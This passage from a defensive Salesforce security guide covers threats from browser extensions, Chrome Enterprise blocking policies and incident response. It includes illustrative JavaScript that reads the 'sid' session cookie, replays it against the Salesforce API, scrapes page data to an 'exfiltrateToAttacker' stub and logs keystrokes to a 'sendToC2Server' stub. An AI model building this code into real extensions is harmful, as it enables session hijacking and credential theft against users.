| Credential Harvesting | Keylogger functionality captures username/password on login pages | Attacker obtains reusable credentials for future access |
| DOM Manipulation | Extension modifies Salesforce pages to inject fake forms or redirect data | Users unknowingly submit sensitive data to attackers |
| API Token Theft | Extension intercepts OAuth tokens from browser storage or network requests | Persistent API access even after password changes |
| Data Exfiltration | Extension reads and copies data from Salesforce pages in real-time | Continuous data theft without triggering API limits |
| Supply Chain Attack | Legitimate extension gets sold or hacked, malicious update pushed to all users | Mass compromise of previously trusted extension users |
Why Extensions Are Hard to See With Salesforce Security Controls
Unlike Connected Apps that use OAuth and appear in Salesforce's security dashboards, browser extensions are not identified as apps in Salesforce. This makes them dangerous and difficult to detect.
The Hidden Threat: Browser extensions piggyback on your existing authenticated browser session. They don't need their own OAuth token or API credentials - they simply inherit YOUR permissions and act as YOU. Salesforce does not record which actions an extension takes on your behalf; they look like your own actions.
| Security Control | OAuth Connected Apps | Browser Extensions |
|---|---|---|
| Visible in Setup > Connected Apps | Yes - Listed and manageable | No - Not listed |
| Appears in OAuth Usage Report | Yes - Token grants tracked | No - Uses session cookie, not OAuth |
| Admin Can Revoke Access | Yes - Revoke tokens anytime | No - No per-extension control in Salesforce |
| Login History Attribution | Yes - Shows app name | No - Appears as the user's normal session |
| API Limits Apply | Yes - Counted against limits | Partial - DOM scraping bypasses API entirely |
| Setup Audit Trail Logging | Yes - App authorization logged | No - No installation record in Salesforce |
| Event Monitoring Detection | Yes - API events captured | Limited - Only if extension makes API calls |
| Can Block at Org Level | Yes - Blocklist apps | No - Requires endpoint/browser management |
How Extensions Bypass Salesforce Authentication
When you log into Salesforce, your browser stores a session cookie (the sid cookie). This cookie is what keeps you logged in as you navigate between pages. Here's the critical security gap:
// Normal OAuth Flow (Visible to Salesforce)
// 1. App redirects to Salesforce login
// 2. User authenticates and grants permission
// 3. Salesforce issues access_token to the app
// 4. App uses token for API calls -> LOGGED in Connected Apps OAuth Usage
// Browser Extension Flow (not identified as an app in Salesforce)
// 1. User logs into Salesforce normally
// 2. Browser stores session cookie (sid)
// 3. Extension reads the cookie OR reads page content directly
// 4. Extension acts with the user's permissions -> attributed to the user, not to an app
// Extension accessing data - Salesforce sees this as the USER, not an app
chrome.cookies.get({url: "https://mycompany.my.salesforce.com", name: "sid"},
function(cookie) {
// Extension now has full session access
// Can make requests that appear to come from the user
fetch("https://mycompany.my.salesforce.com/services/data/v65.0/query?q=SELECT+Id,Name+FROM+Account", {
headers: { "Authorization": "Bearer " + cookie.value }
});
// This API call is attributed to the USER, not any "app"
}
);
// Even worse - DOM scraping requires NO API calls at all
// Extension just reads what's already displayed on screen
document.querySelectorAll('.slds-table tbody tr').forEach(row => {
// Silently capture all visible record data
// No API calls, so no API events for this activity
exfiltrateToAttacker(row.innerText);
});
Key Insight: When you review "Connected Apps OAuth Usage" in Setup, you might feel secure seeing only approved applications. But browser extensions don't appear there at all. A malicious extension could be exfiltrating data through your session right now, and Salesforce would not list it as an app anywhere. Any API calls it makes are attributed to the user, and reading the screen leaves no API call at all, so the extension itself is best detected and controlled with endpoint management tools outside of Salesforce.
Real-World Extension Attack Scenarios
Scenario 1 - The "Helpful" Productivity Extension: An employee installs a popular Salesforce productivity extension from the Chrome Web Store. The extension legitimately enhances their workflow, but also silently captures every record they view and sends it to an external server. Because the extension has broad permissions to "read and change all your data on salesforce.com," this behavior appears normal to security scanners.
Scenario 2 - The Compromised Update: A trusted extension used by 50,000 Salesforce users is acquired by a new company. The new owner pushes an update that adds telemetry code, which actually harvests session tokens. Within hours, thousands of Salesforce orgs are compromised before anyone notices.
Scenario 3 - The Fake Extension: Attackers create a Chrome extension with a name similar to a popular Salesforce tool (e.g., "Salesforce Inspector Pro" vs legitimate "Salesforce Inspector"). Users install the fake version, which looks identical but contains malicious code.
Dangerous Extension Permissions to Watch For
When reviewing Chrome extensions, these permissions should raise immediate red flags for Salesforce users:
Host Permissions - Salesforce Targeting
Extensions requesting these host permissions have direct access to your Salesforce org:
{
"host_permissions": [
"*://*.salesforce.com/*",
"*://*.force.com/*",
"*://*.lightning.force.com/*",
"*://*.my.salesforce.com/*",
"*://*.cloudforce.com/*"
]
}
These patterns match hosts under salesforce.com (including my.salesforce.com), force.com (including lightning.force.com) and cloudforce.com. Any other domain your org uses, such as a custom domain for an Experience Cloud site, is not covered and must be added to the list.
Technical Deep Dive: How Extensions Steal Salesforce Sessions
Understanding the attack mechanics helps you appreciate why this threat is so serious:
// Example: How a malicious extension can steal Salesforce session
// THIS IS FOR EDUCATIONAL PURPOSES - showing what attackers do
// 1. Read Salesforce session cookie
chrome.cookies.get({
url: "https://yourcompany.my.salesforce.com",
name: "sid"
}, function(cookie) {
// Session ID captured - attacker can now impersonate user
exfiltrateData(cookie.value);
});
// 2. Intercept API responses containing sensitive data
chrome.webRequest.onCompleted.addListener(
function(details) {
// Capture all Salesforce API responses
if (details.url.includes('/services/data/')) {
// Record data is being exfiltrated
}
},
{urls: ["*://*.salesforce.com/*"]}
);
// 3. Inject keylogger on Salesforce login page
if (window.location.hostname.includes('salesforce.com')) {
document.addEventListener('keydown', function(e) {
// Every keystroke sent to attacker's server
sendToC2Server(e.key);
});
}
Protection Strategies for Organizations
Chrome Enterprise Policy Configuration
For organizations using Google Workspace or Chrome Enterprise, implement these policies to protect Salesforce access:
{
"ExtensionInstallBlocklist": ["*"],
"ExtensionInstallAllowlist": [
"eimadpbcbfnmbkopoojfekhnkhdbieeh",
"cjpalhdlnbpafiamejdnhcphjbkeiagm",
"hdokiejnpimakedhajhdlcegeplioahd"
],
"ExtensionInstallForcelist": [
"your-security-ext-id;https://your-domain.com/update.xml"
],
"ExtensionAllowedTypes": ["extension", "theme"],
"ExtensionSettings": {
"*": {
"runtime_blocked_hosts": [
"*://*.salesforce.com",
"*://*.force.com"
]
}
}
}
ExtensionInstallBlocklist: ["*"]blocks all extensions by default (zero-trust approach).ExtensionInstallAllowlistlists the only extension IDs that can be installed. The three IDs shown are examples (Dark Reader, uBlock Origin, LastPass); replace them with your vetted extensions.ExtensionInstallForcelistauto-installs corporate security extensions. The ID and update URL are placeholders.ExtensionAllowedTypesallows only extensions and themes (no hosted apps).runtime_blocked_hostsblocks extensions from accessing the listed hosts. Patterns hold only scheme, host and domain (no path); add any custom domain your org uses.
Pro Tip: Use the runtime_blocked_hosts setting inside ExtensionSettings as a safety net: Google documents it as the way to block extensions from accessing the hosts you list, and runtime_allowed_hosts can allow specific extensions on those hosts again. Per Google's policy instructions, host patterns use the form scheme://host.domain and "http://example.com/*" (with a path) is invalid. Test the policy on one browser before you roll it out. Deploy via Google Admin Console > Devices > Chrome > Settings.
User Guidelines for Safe Extension Usage
- Never install extensions from email links - Always go directly to Chrome Web Store
- Check publisher verification - Look for the verified publisher badge in Chrome Web Store
- Review permissions carefully - Reject extensions asking for more access than they need
- Check reviews and user count - Be suspicious of new extensions with few users
- Audit installed extensions monthly - Remove any you no longer actively use
- Use separate browser profiles - Keep Salesforce access in a clean profile
- Report suspicious extensions - Notify IT security immediately if an extension behaves unexpectedly
Evaluating Salesforce Extensions Before Installation
| Evaluation Criteria | Safe Indicator | Red Flag |
|---|---|---|
| Publisher | Known company, verified badge, official website | Unknown publisher, no verification, no web presence |
| User Base | 10,000+ users, consistent growth over time | Few users, sudden spike in installs |
| Reviews | Detailed reviews, mix of positive/critical, verified users | Generic praise, uniformly top-rated, review dates clustered |
| Permissions | Minimal permissions matching stated functionality | Excessive permissions, access to all sites |
| Update History | Regular updates, changelog provided | No updates for years OR recent ownership change |
| Source Code | Open source, code available for review | Obfuscated code, closed source for sensitive features |
Incident Response: If You Suspect Extension Compromise
Immediate Isolation
Disable the suspected extension immediately. Do not uninstall yet - forensics may need it.
Revoke All Sessions
In Salesforce: Setup > Session Management > Log out all users. Force password resets.
Review OAuth Tokens
Check OAuth Usage report and revoke any suspicious connected app authorizations.
Audit Recent Activity
Review Login History, Setup Audit Trail, and Event Monitoring logs for anomalies.
Notify Security Team
Report to your security team and consider engaging Salesforce support for guidance.
Best Practice: The safest approach for high-security environments is to access Salesforce from a browser with ZERO extensions installed. Create a dedicated Chrome profile or use a managed browser specifically for Salesforce access.
15 Complete Security Checklist
Use this comprehensive checklist to audit and secure your Salesforce org. Review quarterly at minimum.
Authentication & Access (Priority: Critical)
Permissions & Data Access (Priority: High)
Connected Apps & Integrations (Priority: Critical)
Browser Extension Security (Priority: Critical)
Code Security (Priority: High)
Monitoring & Response (Priority: Medium)
Final Recommendation: Security is an ongoing process, not a one-time task. Schedule quarterly security reviews, monitor official incident notifications on the Salesforce Trust general messages page, and foster a security-conscious culture in your organization.
For related reading, see 7 Ways to Secure Experience Cloud for guest user access and sharing rules, Apex Design Patterns for maintainable Apex that pairs with the secure coding practices here, the Salesforce Scale Center Complete Guide for spotting anomalous request patterns, and 10 Differences Between Salesforce Solution and Technical Architect for how architect roles divide security ownership.